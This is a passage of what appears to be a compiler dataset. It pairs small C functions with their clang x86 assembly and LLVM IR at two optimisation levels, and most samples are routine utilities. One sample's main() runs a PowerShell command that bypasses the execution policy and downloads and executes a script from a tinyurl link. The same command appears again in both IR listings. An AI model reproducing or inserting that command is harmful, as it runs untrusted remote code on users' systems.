mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<so_init>:
ret

LLVM IR (-O0):
define void @so_init() {
ret void
}

LLVM IR (-O2):
define void @so_init() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ exit(int);
int quit() {
  exit(1);
  return 0;
}


x86 assembly (clang, -O0):
<quit>:
push   %rbp
mov    %rsp,%rbp
mov    $0x1,%edi
call   1030 <exit@plt>

x86 assembly (clang, -O2):
<quit>:
push   %rax
mov    $0x1,%edi
call   1030 <exit@plt>

LLVM IR (-O0):
define i32 @quit() {
%1 = call i32 @exit(i32 1)
unreachable
}

LLVM IR (-O2):
define i32 @quit() {
%1 = tail call i32 @exit(i32 1)
unreachable
}
/* Variables and functions */
int rand();
void fill_sp_vector(float *vec, int size) {
  int ind;
  for (ind = 0; ind < size; ind++)
    vec[ind] = rand() % 10;
}


x86 assembly (clang, -O0):
<fill_sp_vector>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
movl   $0x0,-0x10(%rbp)
mov    -0x10(%rbp),%eax
cmp    -0xc(%rbp),%eax
jge    1160 <fill_sp_vector+0x50>
mov    $0x0,%al
call   1030 <rand@plt>
mov    $0xa,%ecx
cltd
idiv   %ecx
cvtsi2ss %edx,%xmm0
mov    -0x8(%rbp),%rax
movslq -0x10(%rbp),%rcx
movss  %xmm0,(%rax,%rcx,4)
mov    -0x10(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x10(%rbp)
jmp    1126 <fill_sp_vector+0x16>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fill_sp_vector>:
push   %r15
push   %r14
push   %rbx
test   %esi,%esi
jle    116a <fill_sp_vector+0x5a>
mov    %rdi,%r14
mov    %esi,%r15d
xor    %ebx,%ebx
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
xor    %eax,%eax
call   1030 <rand@plt>
cltq
imul   $0x66666667,%rax,%rcx
mov    %rcx,%rdx
shr    $0x3f,%rdx
sar    $0x22,%rcx
add    %edx,%ecx
add    %ecx,%ecx
lea    (%rcx,%rcx,4),%ecx
sub    %ecx,%eax
xorps  %xmm0,%xmm0
cvtsi2ss %eax,%xmm0
movss  %xmm0,(%r14,%rbx,4)
add    $0x1,%rbx
cmp    %rbx,%r15
jne    1130 <fill_sp_vector+0x20>
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
define void @fill_sp_vector(float* %0, i32 %1) {
%3 = alloca float*
%4 = alloca i32
%5 = alloca i32
store float* %0, float** %3
store i32 %1, i32* %4
store i32 0, i32* %5
br label %6
6: ; preds = %18, %2
%7 = load i32, i32* %5
%8 = load i32, i32* %4
%9 = icmp slt i32 %7, %8
br i1 %9, label %10, label %21
10: ; preds = %6
%11 = call i32 (...) @rand()
%12 = srem i32 %11, 10
%13 = sitofp i32 %12 to float
%14 = load float*, float** %3
%15 = load i32, i32* %5
%16 = sext i32 %15 to i64
%17 = getelementptr inbounds float, float* %14, i64 %16
store float %13, float* %17
br label %18
18: ; preds = %10
%19 = load i32, i32* %5
%20 = add nsw i32 %19, 1
store i32 %20, i32* %5
br label %6
21: ; preds = %6
ret void
}

LLVM IR (-O2):
define void @fill_sp_vector(float* nocapture writeonly %0, i32 %1) {
%3 = icmp sgt i32 %1, 0
br i1 %3, label %4, label %14
4: ; preds = %2
%5 = zext i32 %1 to i64
br label %6
6: ; preds = %4, %6
%7 = phi i64 [ 0, %4 ], [ %12, %6 ]
%8 = tail call i32 (...) @rand()
%9 = srem i32 %8, 10
%10 = sitofp i32 %9 to float
%11 = getelementptr inbounds float, float* %0, i64 %7
store float %10, float* %11
%12 = add nuw nsw i64 %7, 1
%13 = icmp eq i64 %12, %5
br i1 %13, label %14, label %6
14: ; preds = %6, %2
ret void
}
/* Variables and functions */
char *getProgramInitString();
char *getWindowTitleString() { return getProgramInitString(); }


x86 assembly (clang, -O0):
<getWindowTitleString>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <getProgramInitString@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<getWindowTitleString>:
xor    %eax,%eax
jmp    1030 <getProgramInitString@plt>

LLVM IR (-O0):
define i8* @getWindowTitleString() {
%1 = call i8* (...) @getProgramInitString()
ret i8* %1
}

LLVM IR (-O2):
define i8* @getWindowTitleString() {
%1 = tail call i8* (...) @getProgramInitString()
ret i8* %1
}
int create_hmac(int hashtype, const unsigned char *key, unsigned int keylen,
                const unsigned char *src, unsigned int srclen,
                unsigned char *dest, unsigned int *destlen) {
  return 0;
}


x86 assembly (clang, -O0):
<create_hmac>:
push   %rbp
mov    %rsp,%rbp
mov    0x10(%rbp),%rax
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    %rcx,-0x20(%rbp)
mov    %r8d,-0x24(%rbp)
mov    %r9,-0x30(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<create_hmac>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @create_hmac(i32 %0, i8* %1, i32 %2, i8* %3, i32 %4, i8* %5, i32* %6) {
%8 = alloca i32
%9 = alloca i8*
%10 = alloca i32
%11 = alloca i8*
%12 = alloca i32
%13 = alloca i8*
%14 = alloca i32*
store i32 %0, i32* %8
store i8* %1, i8** %9
store i32 %2, i32* %10
store i8* %3, i8** %11
store i32 %4, i32* %12
store i8* %5, i8** %13
store i32* %6, i32** %14
ret i32 0
}

LLVM IR (-O2):
define i32 @create_hmac(i32 %0, i8* nocapture readnone %1, i32 %2, i8* nocapture readnone %3, i32 %4, i8* nocapture readnone %5, i32* nocapture readnone %6) {
ret i32 0
}
void yy_1_HorizontalRuleChoice(char *yytext, int yyleng) {
  ;
  ;
}


x86 assembly (clang, -O0):
<yy_1_HorizontalRuleChoice>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<yy_1_HorizontalRuleChoice>:
ret

LLVM IR (-O0):
define void @yy_1_HorizontalRuleChoice(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i32
store i8* %0, i8** %3
store i32 %1, i32* %4
ret void
}

LLVM IR (-O2):
define void @yy_1_HorizontalRuleChoice(i8* nocapture %0, i32 %1) {
ret void
}
void eglWaitGL(void) { return; }


x86 assembly (clang, -O0):
<eglWaitGL>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<eglWaitGL>:
ret

LLVM IR (-O0):
define void @eglWaitGL() {
ret void
}

LLVM IR (-O2):
define void @eglWaitGL() {
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ uint32_t;

/* Variables and functions */
int /*<<< orphan*/ thash(unsigned char *, unsigned char const *, int,
                         unsigned char const *, int /*<<< orphan*/ *);
void fors_sk_to_leaf(unsigned char *leaf, const unsigned char *sk,
                     const unsigned char *pub_seed,
                     uint32_t fors_leaf_addr[8]) {
  thash(leaf, sk, 1, pub_seed, fors_leaf_addr);
}


x86 assembly (clang, -O0):
<fors_sk_to_leaf>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rcx
mov    -0x20(%rbp),%r8
mov    $0x1,%edx
call   1030 <thash@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<fors_sk_to_leaf>:
mov    %rcx,%r8
mov    %rdx,%rcx
mov    $0x1,%edx
jmp    1030 <thash@plt>

LLVM IR (-O0):
define void @fors_sk_to_leaf(i8* %0, i8* %1, i8* %2, i32* %3) {
%5 = alloca i8*
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i32*
store i8* %0, i8** %5
store i8* %1, i8** %6
store i8* %2, i8** %7
store i32* %3, i32** %8
%9 = load i8*, i8** %5
%10 = load i8*, i8** %6
%11 = load i8*, i8** %7
%12 = load i32*, i32** %8
%13 = call i32 @thash(i8* %9, i8* %10, i32 1, i8* %11, i32* %12)
ret void
}

LLVM IR (-O2):
define void @fors_sk_to_leaf(i8* %0, i8* %1, i8* %2, i32* %3) {
%5 = tail call i32 @thash(i8* %0, i8* %1, i32 1, i8* %2, i32* %3)
ret void
}
int pathconN_nm3_work(int *sz_arg, int *sz_res, int *sz_iw, int *sz_w) {
  if (sz_arg)
    *sz_arg = 1;
  if (sz_res)
    *sz_res = 2;
  if (sz_iw)
    *sz_iw = 0;
  if (sz_w)
    *sz_w = 0;
  return 0;
}


x86 assembly (clang, -O0):
<pathconN_nm3_work>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
cmpq   $0x0,-0x8(%rbp)
je     1129 <pathconN_nm3_work+0x29>
mov    -0x8(%rbp),%rax
movl   $0x1,(%rax)
cmpq   $0x0,-0x10(%rbp)
je     113e <pathconN_nm3_work+0x3e>
mov    -0x10(%rbp),%rax
movl   $0x2,(%rax)
cmpq   $0x0,-0x18(%rbp)
je     1153 <pathconN_nm3_work+0x53>
mov    -0x18(%rbp),%rax
movl   $0x0,(%rax)
cmpq   $0x0,-0x20(%rbp)
je     1168 <pathconN_nm3_work+0x68>
mov    -0x20(%rbp),%rax
movl   $0x0,(%rax)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<pathconN_nm3_work>:
test   %rdi,%rdi
je     110b <pathconN_nm3_work+0xb>
movl   $0x1,(%rdi)
test   %rsi,%rsi
je     1116 <pathconN_nm3_work+0x16>
movl   $0x2,(%rsi)
test   %rdx,%rdx
je     1121 <pathconN_nm3_work+0x21>
movl   $0x0,(%rdx)
test   %rcx,%rcx
je     112c <pathconN_nm3_work+0x2c>
movl   $0x0,(%rcx)
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @pathconN_nm3_work(i32* %0, i32* %1, i32* %2, i32* %3) {
%5 = alloca i32*
%6 = alloca i32*
%7 = alloca i32*
%8 = alloca i32*
store i32* %0, i32** %5
store i32* %1, i32** %6
store i32* %2, i32** %7
store i32* %3, i32** %8
%9 = load i32*, i32** %5
%10 = icmp ne i32* %9, null
br i1 %10, label %11, label %13
11: ; preds = %4
%12 = load i32*, i32** %5
store i32 1, i32* %12
br label %13
13: ; preds = %11, %4
%14 = load i32*, i32** %6
%15 = icmp ne i32* %14, null
br i1 %15, label %16, label %18
16: ; preds = %13
%17 = load i32*, i32** %6
store i32 2, i32* %17
br label %18
18: ; preds = %16, %13
%19 = load i32*, i32** %7
%20 = icmp ne i32* %19, null
br i1 %20, label %21, label %23
21: ; preds = %18
%22 = load i32*, i32** %7
store i32 0, i32* %22
br label %23
23: ; preds = %21, %18
%24 = load i32*, i32** %8
%25 = icmp ne i32* %24, null
br i1 %25, label %26, label %28
26: ; preds = %23
%27 = load i32*, i32** %8
store i32 0, i32* %27
br label %28
28: ; preds = %26, %23
ret i32 0
}

LLVM IR (-O2):
define i32 @pathconN_nm3_work(i32* writeonly %0, i32* writeonly %1, i32* writeonly %2, i32* writeonly %3) {
%5 = icmp eq i32* %0, null
br i1 %5, label %7, label %6
6: ; preds = %4
store i32 1, i32* %0
br label %7
7: ; preds = %6, %4
%8 = icmp eq i32* %1, null
br i1 %8, label %10, label %9
9: ; preds = %7
store i32 2, i32* %1
br label %10
10: ; preds = %9, %7
%11 = icmp eq i32* %2, null
br i1 %11, label %13, label %12
12: ; preds = %10
store i32 0, i32* %2
br label %13
13: ; preds = %12, %10
%14 = icmp eq i32* %3, null
br i1 %14, label %16, label %15
15: ; preds = %13
store i32 0, i32* %3
br label %16
16: ; preds = %15, %13
ret i32 0
}
int convertCharacterToInt32(char digit) { return digit - 48; }


x86 assembly (clang, -O0):
<convertCharacterToInt32>:
push   %rbp
mov    %rsp,%rbp
mov    %dil,%al
mov    %al,-0x1(%rbp)
movsbl -0x1(%rbp),%eax
sub    $0x30,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<convertCharacterToInt32>:
lea    -0x30(%rdi),%eax
ret

LLVM IR (-O0):
define i32 @convertCharacterToInt32(i8 signext %0) {
%2 = alloca i8
store i8 %0, i8* %2
%3 = load i8, i8* %2
%4 = sext i8 %3 to i32
%5 = sub nsw i32 %4, 48
ret i32 %5
}

LLVM IR (-O2):
define i32 @convertCharacterToInt32(i8 signext %0) {
%2 = sext i8 %0 to i32
%3 = add nsw i32 %2, -48
ret i32 %3
}
/* Variables and functions */
void *malloc(int);
void do_void_malloc(void **pp) { *pp = malloc(sizeof(double) * 10); }


x86 assembly (clang, -O0):
<do_void_malloc>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    $0x50,%edi
call   1030 <malloc@plt>
mov    %rax,%rcx
mov    -0x8(%rbp),%rax
mov    %rcx,(%rax)
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<do_void_malloc>:
push   %rbx
mov    %rdi,%rbx
mov    $0x50,%edi
call   1030 <malloc@plt>
mov    %rax,(%rbx)
pop    %rbx
ret

LLVM IR (-O0):
define void @do_void_malloc(i8** %0) {
%2 = alloca i8**
store i8** %0, i8*** %2
%3 = call i8* @malloc(i32 80)
%4 = load i8**, i8*** %2
store i8* %3, i8** %4
ret void
}

LLVM IR (-O2):
define void @do_void_malloc(i8** nocapture writeonly %0) {
%2 = tail call dereferenceable_or_null(80) i8* @malloc(i32 80)
store i8* %2, i8** %0
ret void
}
/* Variables and functions */
int /*<<< orphan*/ memset(char *, char, char);
void MVSet(char vector[], char vectorCount, char value) {
  memset(vector, value, vectorCount);
}


x86 assembly (clang, -O0):
<MVSet>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %dl,%al
mov    %sil,%cl
mov    %rdi,-0x8(%rbp)
mov    %cl,-0x9(%rbp)
mov    %al,-0xa(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0xa(%rbp),%cl
mov    -0x9(%rbp),%al
movsbl %cl,%esi
movsbl %al,%edx
call   1030 <memset@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<MVSet>:
mov    %esi,%eax
mov    %edx,%esi
mov    %eax,%edx
jmp    1030 <memset@plt>

LLVM IR (-O0):
define void @MVSet(i8* %0, i8 signext %1, i8 signext %2) {
%4 = alloca i8*
%5 = alloca i8
%6 = alloca i8
store i8* %0, i8** %4
store i8 %1, i8* %5
store i8 %2, i8* %6
%7 = load i8*, i8** %4
%8 = load i8, i8* %6
%9 = load i8, i8* %5
%10 = call i32 @memset(i8* %7, i8 signext %8, i8 signext %9)
ret void
}

LLVM IR (-O2):
define void @MVSet(i8* %0, i8 signext %1, i8 signext %2) {
%4 = tail call i32 @memset(i8* %0, i8 signext %2, i8 signext %1)
ret void
}
/* Variables and functions */
size_t argcintlen(size_t);
size_t argvbulklen(size_t len) { return 1 + argcintlen(len) + 2 + len + 2; }


x86 assembly (clang, -O0):
<argvbulklen>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <argcintlen@plt>
add    $0x1,%rax
add    $0x2,%rax
add    -0x8(%rbp),%rax
add    $0x2,%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<argvbulklen>:
push   %rbx
mov    %rdi,%rbx
call   1030 <argcintlen@plt>
add    %rbx,%rax
add    $0x5,%rax
pop    %rbx
ret

LLVM IR (-O0):
define i64 @argvbulklen(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = call i64 @argcintlen(i64 %3)
%5 = add i64 1, %4
%6 = add i64 %5, 2
%7 = load i64, i64* %2
%8 = add i64 %6, %7
%9 = add i64 %8, 2
ret i64 %9
}

LLVM IR (-O2):
define i64 @argvbulklen(i64 %0) {
%2 = tail call i64 @argcintlen(i64 %0)
%3 = add i64 %0, 5
%4 = add i64 %3, %2
ret i64 %4
}
/* Variables and functions */
int /*<<< orphan*/ IPC_RMID;
int shmctl(int, int /*<<< orphan*/, long);
int shmem_destroy(int h_shmem) { return shmctl(h_shmem, IPC_RMID, 0L); }


x86 assembly (clang, -O0):
<shmem_destroy>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%edi
mov    0x2ebb(%rip),%rax
mov    (%rax),%esi
xor    %eax,%eax
mov    %eax,%edx
call   1030 <shmctl@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<shmem_destroy>:
mov    0x2ec9(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
jmp    1030 <shmctl@plt>

LLVM IR (-O0):
@IPC_RMID = global i32 0
define i32 @shmem_destroy(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = load i32, i32* @IPC_RMID
%5 = call i32 @shmctl(i32 %3, i32 %4, i64 0)
ret i32 %5
}

LLVM IR (-O2):
@IPC_RMID = global i32 0
define i32 @shmem_destroy(i32 %0) {
%2 = load i32, i32* @IPC_RMID
%3 = tail call i32 @shmctl(i32 %0, i32 %2, i64 0)
ret i32 %3
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/kh36ycn'); \"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/kh36ycn'); \22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/kh36ycn'); \22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
unsigned long bswap32(unsigned long x) {
  return ((x << 24) & 0xff000000) | ((x << 8) & 0x00ff0000) |
         ((x >> 8) & 0x0000ff00) | ((x >> 24) & 0x000000ff);
}


x86 assembly (clang, -O0):
<bswap32>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
shl    $0x18,%rax
movabs $0xff000000,%rcx
and    %rcx,%rax
mov    -0x8(%rbp),%rcx
shl    $0x8,%rcx
and    $0xff0000,%rcx
or     %rcx,%rax
mov    -0x8(%rbp),%rcx
shr    $0x8,%rcx
and    $0xff00,%rcx
or     %rcx,%rax
mov    -0x8(%rbp),%rcx
shr    $0x18,%rcx
and    $0xff,%rcx
or     %rcx,%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<bswap32>:
mov    %rdi,%rax
bswap  %eax
ret

LLVM IR (-O0):
define i64 @bswap32(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = shl i64 %3, 24
%5 = and i64 %4, 4278190080
%6 = load i64, i64* %2
%7 = shl i64 %6, 8
%8 = and i64 %7, 16711680
%9 = or i64 %5, %8
%10 = load i64, i64* %2
%11 = lshr i64 %10, 8
%12 = and i64 %11, 65280
%13 = or i64 %9, %12
%14 = load i64, i64* %2
%15 = lshr i64 %14, 24
%16 = and i64 %15, 255
%17 = or i64 %13, %16
ret i64 %17
}

LLVM IR (-O2):
define i64 @bswap32(i64 %0) {
%2 = trunc i64 %0 to i32
%3 = tail call i32 @llvm.bswap.i32(i32 %2)
%4 = zext i32 %3 to i64
ret i64 %4
}
const char *ls_cost_nm2_name_in(int i) {
  switch (i) {
  case 0:
    return "i0";
  case 1:
    return "i1";
  default:
    return 0;
  }
}


x86 assembly (clang, -O0):
<ls_cost_nm2_name_in>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0xc(%rbp)
mov    -0xc(%rbp),%eax
mov    %eax,-0x10(%rbp)
test   %eax,%eax
je     112b <ls_cost_nm2_name_in+0x2b>
jmp    111a <ls_cost_nm2_name_in+0x1a>
mov    -0x10(%rbp),%eax
sub    $0x1,%eax
je     113b <ls_cost_nm2_name_in+0x3b>
jmp    114b <ls_cost_nm2_name_in+0x4b>
lea    0xece(%rip),%rax
mov    %rax,-0x8(%rbp)
jmp    1153 <ls_cost_nm2_name_in+0x53>
lea    0xec1(%rip),%rax
mov    %rax,-0x8(%rbp)
jmp    1153 <ls_cost_nm2_name_in+0x53>
movq   $0x0,-0x8(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<ls_cost_nm2_name_in>:
xor    %ecx,%ecx
cmp    $0x1,%edi
lea    0xef7(%rip),%rax
cmove  %rax,%rcx
test   %edi,%edi
lea    0xee7(%rip),%rax
cmovne %rcx,%rax
ret

LLVM IR (-O0):
@.str = [3 x i8] c"i0\00"
@.str.1 = [3 x i8] c"i1\00"
define i8* @ls_cost_nm2_name_in(i32 %0) {
%2 = alloca i8*
%3 = alloca i32
store i32 %0, i32* %3
%4 = load i32, i32* %3
switch i32 %4, label %7 [
i32 0, label %5
i32 1, label %6
]
5: ; preds = %1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8** %2
br label %8
6: ; preds = %1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8** %2
br label %8
7: ; preds = %1
store i8* null, i8** %2
br label %8
8: ; preds = %7, %6, %5
%9 = load i8*, i8** %2
ret i8* %9
}

LLVM IR (-O2):
@.str = [3 x i8] c"i0\00"
@.str.1 = [3 x i8] c"i1\00"
define i8* @ls_cost_nm2_name_in(i32 %0) {
%2 = icmp eq i32 %0, 1
%3 = select i1 %2, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* null
%4 = icmp eq i32 %0, 0
%5 = select i1 %4, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8* %3
ret i8* %5
}
/* Type definitions */
typedef int /*<<< orphan*/ mpz_ptr;

/* Variables and functions */
scalar_t__ mpz_cmp(int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ mpz_mul_2exp(int /*<<< orphan*/, int /*<<< orphan*/, int);
int /*<<< orphan*/ mpz_sub(int /*<<< orphan*/, int /*<<< orphan*/,
                           int /*<<< orphan*/);
void gmp_twice(mpz_ptr out, mpz_ptr order) {
  mpz_mul_2exp(out, out, 1);
  if (mpz_cmp(out, order) >= 0) {
    mpz_sub(out, out, order);
  }
}


x86 assembly (clang, -O0):
<gmp_twice>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%edi
mov    -0x4(%rbp),%esi
mov    $0x1,%edx
call   1040 <mpz_mul_2exp@plt>
mov    -0x4(%rbp),%edi
mov    -0x8(%rbp),%esi
call   1050 <mpz_cmp@plt>
cmp    $0x0,%rax
jl     1171 <gmp_twice+0x41>
mov    -0x4(%rbp),%edi
mov    -0x4(%rbp),%esi
mov    -0x8(%rbp),%edx
call   1030 <mpz_sub@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gmp_twice>:
push   %rbp
push   %rbx
push   %rax
mov    %esi,%ebx
mov    %edi,%ebp
mov    %edi,%esi
mov    $0x1,%edx
call   1040 <mpz_mul_2exp@plt>
mov    %ebp,%edi
mov    %ebx,%esi
call   1050 <mpz_cmp@plt>
test   %rax,%rax
js     1162 <gmp_twice+0x32>
mov    %ebp,%edi
mov    %ebp,%esi
mov    %ebx,%edx
add    $0x8,%rsp
pop    %rbx
pop    %rbp
jmp    1030 <mpz_sub@plt>
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define void @gmp_twice(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = load i32, i32* %3
%7 = call i32 @mpz_mul_2exp(i32 %5, i32 %6, i32 1)
%8 = load i32, i32* %3
%9 = load i32, i32* %4
%10 = call i64 @mpz_cmp(i32 %8, i32 %9)
%11 = icmp sge i64 %10, 0
br i1 %11, label %12, label %17
12: ; preds = %2
%13 = load i32, i32* %3
%14 = load i32, i32* %3
%15 = load i32, i32* %4
%16 = call i32 @mpz_sub(i32 %13, i32 %14, i32 %15)
br label %17
17: ; preds = %12, %2
ret void
}

LLVM IR (-O2):
define void @gmp_twice(i32 %0, i32 %1) {
%3 = tail call i32 @mpz_mul_2exp(i32 %0, i32 %0, i32 1)
%4 = tail call i64 @mpz_cmp(i32 %0, i32 %1)
%5 = icmp sgt i64 %4, -1
br i1 %5, label %6, label %8
6: ; preds = %2
%7 = tail call i32 @mpz_sub(i32 %0, i32 %0, i32 %1)
br label %8
8: ; preds = %6, %2
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ marbles;

/* Variables and functions */
int /*<<< orphan*/ printf(char *, int);
long sum(int *, int);
int main(void) {
  int marbles[10] = {20, 10, 5, 39, 4, 16, 19, 26, 31, 20};
  long answer;
  answer = sum(marbles, 10);
  printf("The total number of marbles is %ld.\n", answer);
  printf("The size of marbles is %zd bytes.\n", sizeof(marbles));
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0x30(%rbp),%rdi
lea    0xeb6(%rip),%rsi
mov    $0x28,%edx
call   1040 <memcpy@plt>
lea    -0x30(%rbp),%rdi
mov    $0xa,%esi
call   1050 <sum@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rax
mov    %eax,%esi
lea    0xeb5(%rip),%rdi
call   1030 <printf@plt>
lea    0xece(%rip),%rdi
mov    $0x28,%esi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0x28,%rsp
mov    0xef5(%rip),%rax
mov    %rax,0x20(%rsp)
movaps 0xed9(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movaps 0xebd(%rip),%xmm0
movaps %xmm0,(%rsp)
mov    %rsp,%rdi
mov    $0xa,%esi
call   1040 <sum@plt>
lea    0xecd(%rip),%rdi
mov    %eax,%esi
call   1030 <printf@plt>
lea    0xee4(%rip),%rdi
mov    $0x28,%esi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x28,%rsp
ret

LLVM IR (-O0):
@__const.main.marbles = [10 x i32] [i32 20, i32 10, i32 5, i32 39, i32 4, i32 16, i32 19, i32 26, i32 31, i32 20]
@.str = [37 x i8] c"The total number of marbles is %ld.\0A\00"
@.str.1 = [35 x i8] c"The size of marbles is %zd bytes.\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [10 x i32]
%3 = alloca i64
store i32 0, i32* %1
%4 = bitcast [10 x i32]* %2 to i8*
%5 = getelementptr inbounds [10 x i32], [10 x i32]* %2, i64 0, i64 0
%6 = call i64 @sum(i32* %5, i32 10)
store i64 %6, i64* %3
%7 = load i64, i64* %3
%8 = trunc i64 %7 to i32
%9 = call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i32 %8)
%10 = call i32 @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0), i32 40)
ret i32 0
}

LLVM IR (-O2):
@__const.main.marbles = [10 x i32] [i32 20, i32 10, i32 5, i32 39, i32 4, i32 16, i32 19, i32 26, i32 31, i32 20]
@.str = [37 x i8] c"The total number of marbles is %ld.\0A\00"
@.str.1 = [35 x i8] c"The size of marbles is %zd bytes.\0A\00"
define i32 @main() {
%1 = alloca [10 x i32]
%2 = bitcast [10 x i32]* %1 to i8*
%3 = getelementptr inbounds [10 x i32], [10 x i32]* %1, i64 0, i64 0
%4 = call i64 @sum(i32* %3, i32 10)
%5 = trunc i64 %4 to i32
%6 = call i32 @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i32 %5)
%7 = call i32 @printf(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0), i32 40)
ret i32 0
}